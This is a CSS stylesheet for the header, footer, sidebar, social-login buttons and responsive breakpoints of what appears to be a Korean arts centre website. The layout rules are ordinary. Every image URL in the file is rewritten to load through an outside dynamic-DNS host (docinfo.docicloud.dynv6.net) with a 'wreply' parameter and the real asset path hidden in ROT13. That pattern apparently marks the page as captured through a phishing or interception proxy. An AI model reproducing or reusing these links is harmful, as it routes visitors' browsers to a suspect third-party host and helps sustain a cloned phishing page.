#footerNew .footCon .info01 > li span { font-size: inherit; font-weight: 500; color: #2f2b2e; }
#footerNew .footCon .infoWrap { width: 100%; }
#footerNew .footCon .info02 { display: flex; flex-direction: column; }
#footerNew .footCon .info02 .footLink { width: 100%; display: flex; align-items: flex-start; gap: 20px; }
#footerNew .footCon .info02 .footLink > li { display: flex; align-items: center; gap: 20px; }
#footerNew .footCon .info02 .footLink > li + li::before { content: ''; display: flex;  gap: 20px; background: #e5e5e5; width: 1px; height: 7px; }
#footerNew .footCon .info02 .footLink > li:last-child { margin-left: auto; }
#footerNew .footCon .info02 .footLink > li:last-child::before { display: none; }
#footerNew .footCon .info02 .footLink > li > a { font-size: 15px; font-weight: 500; color: #2f2b2e; }
#footerNew .footCon .info02 .footLink > li:nth-child(2) > a { font-weight: 600; color: #185EAD; }
#footerNew .footCon .copyright { display: block; font-size: 14px; font-weight: 400; color: #aaa; margin-top: 20px; margin-left: auto; }

/* 사이드바 */
.sideBar { position: fixed; right: 0; bottom: 0; z-index: 11; width: 60px; height: fit-content; background: #fff; opacity: 0; transition: 0.2s; }
.sideBar.on { opacity: 1; }
.sideBar .snsBtn > button { border: 1px solid #2f2b2e; width: 100%; height: 60px; display: flex; flex-direction: column; justify-content: center; align-items: center; gap: 5px; }
.sideBar .snsBtn > button::before { content: ''; width: 10px; height: 7px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_faf.fit) no-repeat center center; background-size: cover; }
.sideBar .snsItem { display: none;  padding: 20px 0; border-left: 1px solid #2f2b2e; border-right: 1px solid #2f2b2e; }
.sideBar .snsItem li { display: block; text-align: center; }
.sideBar .snsItem li + li { margin-top: 20px; }
.sideBar .topBtn > button { border: 1px solid #2f2b2e; width: 100%; height: 60px; background: #2f2b2e; padding-top: 5px;}

/* 로그인css추가 */
.social_login { display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; }
.new_login_box_in .btn_login {width: 100%; }
.new_login_box_in .btn_login.naver {width: calc(50% - 7px); display: flex; justify-content: center; align-items: center; background: #0DC75A; border: 1px solid #0DC75A; border-radius: 5px; }
.new_login_box_in .btn_login.naver::before {flex-shrink: 0; content: ''; display: inline-flex; width: 26px; height: 24px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2Svzt%2Spbzzba%2Sanire_vpba.fit); background-size: 26px auto; }
.new_login_box_in .btn_login.kakao {width: calc(50% - 7px); display: flex; justify-content: center; align-items: center; background: #FDE40B; border: 1px solid #FDE40B; color: #000;  border-radius: 5px; }
.new_login_box_in .btn_login.kakao::before {flex-shrink: 0; content: ''; display: inline-flex; width: 28px; height: 26px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2Svzt%2Spbzzba%2Sxnxnb_vpba.cat); background-size: 28px auto; }
.new_login_box_in p:has(a.btn_login) + p { margin-top: 10px;}
.new_login_box_in .btn_login.naver span,
.new_login_box_in .btn_login.kakao span {padding: 0 10px; font-size: 18px; letter-spacing: -0.5px;}
.new_login_box_in#snsJoin {margin-bottom: 60px;}
.person_top { height: auto;}

@media screen and (max-width: 1600px) {
    .ggacNotice .inner { gap: 30px; }
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: 320px; }
    /* .ggacNotice .ggacStory .storyBox .storyYoutube { width: calc(100% - 320px); } */
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum { height: 320px; }
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap { margin: 20px auto 0; }
    .ggacNotice .ggacStory .storyBox .storyYoutube .storyTxt { margin-top: 20px; }
}
@media screen and (max-width: 1400px) {
    .newMain .titWrap { gap: 16px; }
    .newMain .titWrap h2 { font-size: 38px; }
    .perform .performTab .perform-list > li .performTxt h4 { margin: 12px 0; height: 50px; }
    #newHeader .gnbBox .gnb .depth01 > li > a { font-size: 15px; padding: 0 27px; letter-spacing: -0.8px;}
    #newHeader .gnbBox .gnb .depth01 > li .depth02 { left: 27px; }
    #newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a { font-size: 13px; letter-spacing: -0.5px;}
    .artList .artBox li .imgWrap { height: 280px; }
}
@media screen and (max-width: 1320px) {
    #newWrap .inner { max-width: 100%; padding: 0 30px;}
    #newHeader .gnbBox .userSupport > ul { gap: 14px; }
    .visWrap .mainVis .vis-list li .vis-txt h3 { margin: 10px 0 20px; line-height: 1.15; }
    .visWrap .mainVis .vis-list li .vis-txt p { margin-bottom: 22px; }
    .visWrap .mainVis .vis-list li .vis-txt .info span { font-size: 15px; }
    .artList .artBox li { width: calc(100% / 2); border-left: 1px solid #e5e5e5; }
    .artList .artBox li:nth-child(2),
    .artList .artBox li:nth-child(5) { border-right: none; }
    .artList .artBox li:nth-child(even) { border-right: 1px solid #e5e5e5; }
    .artList .artBox li .imgWrap { height: 340px; }
    .artList .artBox_wrap { overflow: auto; }
    .artList .artBox_wrap::-webkit-scrollbar { width: 3px; height:5px; }
	.artList .artBox_wrap::-webkit-scrollbar-thumb { background: #ee7c00; }
    .artList .artBox { flex-wrap: nowrap; width: 1320px; }
    .artList .artBox li:nth-child(2) { border-right: 0; }
    #footerNew .footCon .info02 .footLink,
    #footerNew .footCon .info02 .footLink > li { gap: 10px; }
    #footerNew .footCon .info02 .footLink > li:last-child { margin-left: 10px; }
    #footerNew .footCon .info01 { padding-top: 4px; }
    #footerNew .footCon .info01 > li { gap: 0; }
    #footerNew .footCon .info01 > em { min-width: 100px; }
}
@media screen and (max-width: 1100px) {
    #newWrap .inner { padding: 0 20px; } 
    #newHeader { height: 80px; }
    #newHeader .inner { padding: 0; }
    #newHeader .moGnbBtn { display: block; position: absolute; top: 30px; right: 20px; }
    #newHeader .gnbBox .gnb { margin-left: 0; }
    #newHeader .gnbBox { height: auto; flex-direction: column; justify-content: flex-start; align-items: flex-start; }
    #newHeader .gnbBox .userSupport > ul > li.sitemap { display: none; }
    #newHeader .gnbBox .logo { position: absolute; top: 30px; left: 20px; width: 205px; }
    #newHeader .gnbBox .gnbFoot ul { display: flex; flex-wrap: wrap; margin: 10px 0; }
    #newHeader .gnbBox .gnbFoot ul li { width: calc(100% / 3); padding: 15px 0; }
    #newHeader .gnbBox .gnbFoot ul li a { display: flex; align-items: center; justify-content: center; flex-direction: column; gap: 13px; font-size: 14px; font-weight: 500; color: #2f2b2e; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(1) a::before { content: ''; width: 30px; height: 26px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_nepuvir.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(2) a::before { content: ''; width: 30px; height: 20px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_gvpxrg.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(3) a::before { content: ''; width: 30px; height: 30px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_ybpngvba.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(4) a::before { content: ''; width: 30px; height: 30px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_cnex.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(5) a::before { content: ''; width: 30px; height: 30px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_punve.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .gnbFoot ul li:nth-child(6) a::before { content: ''; width: 30px; height: 30px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_obbx.cat) no-repeat center center; background-size: cover; }
    #newHeader .gnbBox .userSupport { order: 1; padding-top: 90px; margin: 0;}
    #newHeader .gnbBox .userSupport > ul { gap: 15px; padding-left: 20px;}
    #newHeader .gnbBox .userSupport > ul > li { display: flex; gap: 15px; align-items: center; }
    #newHeader .gnbBox .userSupport > ul > li::after { content: ''; position: relative; width: 1px; height: 7px; background: rgba(255, 255, 255, 70%); }
    #newHeader .gnbBox .userSupport > ul > li:nth-child(2)::after {display: none; }
    #newHeader .gnbBox .userSupport > ul > li.search::after {display: none; }
    #newHeader .gnbBox .userSupport > ul > li.login,
    #newHeader .gnbBox .userSupport > ul > li.join { display: none; width: auto; height: auto; background: none; }
    #newHeader .gnbBox .userSupport > ul > li.login a .screenOut,
    #newHeader .gnbBox .userSupport > ul > li.join a .screenOut { width: auto; height: auto; overflow:initial; position: relative; z-index: 1; clip: initial; clip-path: initial; color: #fff; font-size: 16px; font-weight: 300; }
    #newHeader .gnbBox .userSupport > ul > li.search { position: absolute; top: 32px; left: 20px; }
    #newHeader .gnbBox .gnb { display: none; order: 2; padding-top: 10px; }
    #newHeader .gnbBox .gnb .depth01 { flex-direction: column; }
    #newHeader .gnbBox .gnb .depth01 > li { display: flex; flex-wrap: wrap; justify-content: space-between; text-align: left; padding: 15px 0 0; border-bottom: 1px solid #e5e5e5; }
    #newHeader .gnbBox .gnb .depth01 > li > a { width: calc(100% - 36px); font-size: 18px; color: #2f2b2e; padding-bottom: 15px; padding-left: 20px; }
    #newHeader .gnbBox .gnb .depth01 > li .btnDepth { position: relative; width: 16px; height: 16px; margin-right: 20px; }
    #newHeader .gnbBox .gnb .depth01 > li .btnDepth::before { content: ''; position: absolute; top: 50%; left: 0; transform: translateY(-50%); width: 100%; height: 1px; background: #000;}
    #newHeader .gnbBox .gnb .depth01 > li .btnDepth::after { content: ''; position: absolute; top: 0; left: 50%; transform: translateX(-50%); width: 1px; height: 100%; background: #000; transition: 0.2s; }
    #newHeader .gnbBox .gnb .depth01 > li .btnDepth.on::after { top: 50%; transform: translate(-50%,-50%) rotate(90deg); }
    #newHeader .gnbBox .gnb .depth01 > li .depth02 { position: relative; top: initial; left: initial; transform: none; text-align: left; width: 100%; padding: 16px 20px; background: #e5e5e5; }
    #newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a { font-size: 15px; color: #6b686b; }
    #newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a:hover,
    #newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a:focus { font-weight: 500; color: #2f2b2e; }
    #newHeader .gnbBox .snsItem { display: none; }
    #newHeader .gnbBg,
    #newHeader.on .gnbBg { display: none; }
    #newHeader.on { height: 100%; background: #fff; overflow-y: auto;}
    #newHeader.on::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 120px; background: #000; }
    #newHeader.on .gnbBox .gnbFoot { display: block; order: 3; width: 100%; border-bottom: 1px solid #e5e5e5; }
    #newHeader.on .gnbBox .userSupport > ul > li.login,
    #newHeader.on .gnbBox .userSupport > ul > li.join { display: flex; }
    #newHeader.on .gnbBox .gnb { display: block; width: 100%; }
    #newHeader.on .gnbBox .snsItem { display: flex; order: 4; width: 100%; justify-content: space-between; align-items: center; padding: 20px; }

    .visWrap .mainVis .vis-list li { height: 750px; }
    .newMain .titWrap { flex-wrap: wrap; }
    .newMain .titWrap h2 { width: 100%; }
    .ggacNews .newsList .newsTab { min-height: 269px; }
    .ggacNews .newsList .newsTab ul { gap: 0 20px; }
    .ggacNews .newsList .newsTab ul li:nth-child(2) { border-top: 1px solid #e5e5e5; }
    .ggacNews .newsList .newsTab ul li em { margin-bottom: 10px;}
    .newMain .ggacStory .titWrap { flex-wrap: nowrap; }
    .newMain .titWrap h2 { width: auto; }
    .ggacNotice .inner { gap: 20px; }
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: 250px; }
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum { height: 250px; }
    #footerNew .footCon .info02 .footLink,
    #footerNew .footCon .info02 .footLink li { flex-shrink: 0; }
    #footerNew .footCon .info01 > li span { padding-right: 20px; }
    .sideBar { display: none; }
    .artList .artBox li { width: fit-content; flex: 1; padding: 20px; margin: 0;}
    .artList .artBox li:last-child { border-right: 1px solid #e5e5e5; }
    .artList .artBox li .imgWrap { height: 250px; }
    .artList .artBox { flex-wrap: nowrap; width: 1100px; }
}
@media screen and (max-width: 960px) { 
    .ggacNotice .inner,
    .ggacNotice .ggacStory .storyBox { flex-wrap: wrap; }
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: auto; }
    .ggacNotice .ggacStory .storyBox .instaSlide,
    .ggacNotice .ggacStory .storyBox .storyYoutube { width: 100%; }
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum { height: 320px; }
    .ggacNotice .ggacNotify { width: 100%; }
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: 200px; }
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum { height: 200px; }
    #footerNew .footCon { flex-wrap: wrap; gap: 40px; }
    #footerNew .footCon .footLogo { width: 100%; }
    #footerNew .footCon .copyright { margin-top: 10px;}
}
@media screen and (max-width: 768px) { 
    .btnViewMore { font-size: 17px; gap: 4px; align-items: center; }
    .btnViewMore::after { width: 18px; height: 18px; }
    .visWrap .mainVis .vis-list li { height: 600px; }
    .visWrap .mainVis .vis-list li .vis-txt { padding: 0 20px 80px; }
    .visWrap .mainVis .vis-list li .vis-txt em { font-size: 20px; }
    .visWrap .mainVis .vis-list li .vis-txt h3 { font-size: 36px; }
    .visWrap .mainVis .vis-list li .vis-txt p { display: none; }
    .visWrap .mainVis .vis-btn-wrap { bottom: 30px; }
    .visWrap .mainVis .vis-list li .vis-txt .info,
    .visWrap .mainVis .vis-list li .vis-txt .info .date { gap: 10px; }
    .newMain .titWrap { margin: 60px 0 20px; }
    .newMain .titWrap h2 { font-size: 30px; }
    .perform .performTop { flex-wrap: wrap; }
    .perform .performTop .tagBtn { flex-wrap: wrap; width: 100%; padding-bottom: 30px; }
    .tagBtn li:has(.selectWrap) { width: 100%;}
    .tagBtn li .selectWrap select { width: 100%;}
    .perform .performTab {padding-bottom: 30px;}
    .perform .performTab .perform-list > li .performImg .poster { border-radius: 10px;}
    .perform .performTab .perform-list > li .hover { display: none; }
    .perform .performTab .perform-list > li .performImg .tag { width: 50px; left: -4px; top: 20px; }
    .perform .performTab .perform-list > li .performTxt small { gap: 4px; }
    .ggacNews .newsList .newsTab ul { gap: 0; flex-wrap: wrap; min-height: auto; }
    .ggacNews .newsList .newsTab ul li { width: 100%; }
    .ggacNews .newsList { padding-top: 50px; }
    .ggacNews .newsList .newsTab .btnViewMore { left: 0; top: 0; }
    .artList .artBox { margin-top: 30px; }
    .artList .artBox li { padding: 20px; width: 100%; }
    .artList .artBox li h3 { font-size: 18px; }
    .artList .artBox li span { font-size: 16px; }
    .newMain .ggacStory .titWrap { flex-wrap: wrap; }
    #footerNew .footCon .info01 > li { font-size: 14px; }
    .visWrap .mainVis .vis-btn-wrap2 .vis-swiper-prev,
    .visWrap .mainVis .vis-btn-wrap2 .vis-swiper-next { width: 30px; }
    .ggacNotice .ggacStory .storyBox { flex-direction: column; }
    .ggacNotice .ggacStory .storyBox .instaSlide,
    .ggacNotice .ggacStory .storyBox .storyYoutube { flex: none;}
    .visWrap .mainVis .vis-btn-wrap2 .vis-swiper-prev {left: 10px;}
    .visWrap .mainVis .vis-btn-wrap2 .vis-swiper-next {right: 10px;}
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list li a::after { top: 10px; right: 10px;}
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum {height: 300px;}
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list {height: 300px;}

    .new_login_box {width:95%; margin:50px auto;}
    .new_login_box .right {float: none; margin: 30px auto; background-position: 15%; padding-left: 0; background-image: none;}
    .new_login_box_in {width:100%;padding: 0 10px; box-sizing:border-box; }
    .btn_login span { font-size: 15px;}
    .new_login_box_in .btn_login.naver span,
    .new_login_box_in .btn_login.kakao span { font-size: 13px;}
    .new_login_box_in .btn_login.naver::before {width: 22px; height: 19px; background-size: cover;}
    .new_login_box_in .btn_login.kakao::before {width: 24px; height: 22px; background-size: cover;}
}
@media screen and (max-width: 640px) { 
    #footerNew .footCon .info02 .footLink { flex-wrap: wrap; }
    #footerNew .footCon .info02 .footLink > li:last-child { width: 100%; justify-content: center; margin: 10px 0; }
    .ggacNotice .ggacStory .storyBox .storyYoutube .thum {height: 240px;}
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list {height: 240px;}
}
@media screen and (max-width: 535px) { 
    .ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: 160px; }
}